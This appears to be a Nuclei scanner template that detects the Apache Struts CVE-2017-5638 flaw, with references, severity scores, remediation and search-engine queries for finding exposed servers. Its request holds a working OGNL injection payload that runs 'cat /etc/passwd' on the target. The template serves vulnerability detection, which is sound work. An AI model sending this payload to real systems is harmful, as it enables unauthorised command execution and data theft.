The Jakarta Multipart parser has incorrect exception handling and error-message generation during file upload attempts, which can allow an attacker to execute arbitrary commands via a crafted Content-Type, Content-Disposition, or Content-Length HTTP header. This was exploited in March 2017 with a Content-Type header containing a #cmd= string.\n  impact: |\n    Remote attackers can execute arbitrary commands on the target system.\n  remediation: |\n    Upgrade to Apache Struts 2.3.32 or 2.5.10.1 or apply the necessary patches.\n  reference:\n    - https://github.com/mazen160/struts-pwn\n    - https://isc.sans.edu/diary/22169\n    - https://github.com/rapid7/metasploit-framework/issues/8064\n    - https://nvd.nist.gov/vuln/detail/CVE-2017-5638\n    - http://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html\n  classification:\n    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 10\n    cve-id: CVE-2017-5638\n    cwe-id: CWE-20\n    epss-score: 0.99999\n    epss-percentile: 0.99994\n    cpe: cpe:2.3:a:apache:struts:2.3.5:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: apache\n    product: struts\n    shodan-query:\n      - html:\"Apache Struts\"\n      - http.title:\"struts2 showcase\"\n      - http.html:\"struts problem report\"\n      - http.html:\"apache struts\"\n    fofa-query:\n      - body=\"struts problem report\"\n      - title=\"struts2 showcase\"\n      - body=\"apache struts\"\n    google-query: intitle:\"struts2 showcase\"\n  tags: cve2017,cve,apache,kev,msf,struts,rce,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: %{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#cmd=\"cat /etc/passwd\",#cmds={\"/bin/bash\",\"-c\",#cmd},#p=new java.lang.ProcessBuilder(#cmds),#p.redirectErrorStream(true),#process=#p.start(),#b=#process.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#rw=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#rw.println(#e),#rw.flush())}\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        regex:\n          - \"root:.*:0:0:\"\n\n      - type: status\n        status:\n          - 200\n# digest: 480a00453043021f0280505af96d593714a41e93834b17e576036b5a32bb38a3921df0ea2aff5f022038207d44545beb83bf95f375fed7557f3d0f22fcac04370598be6292a1d7b67c:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2017-5638"}
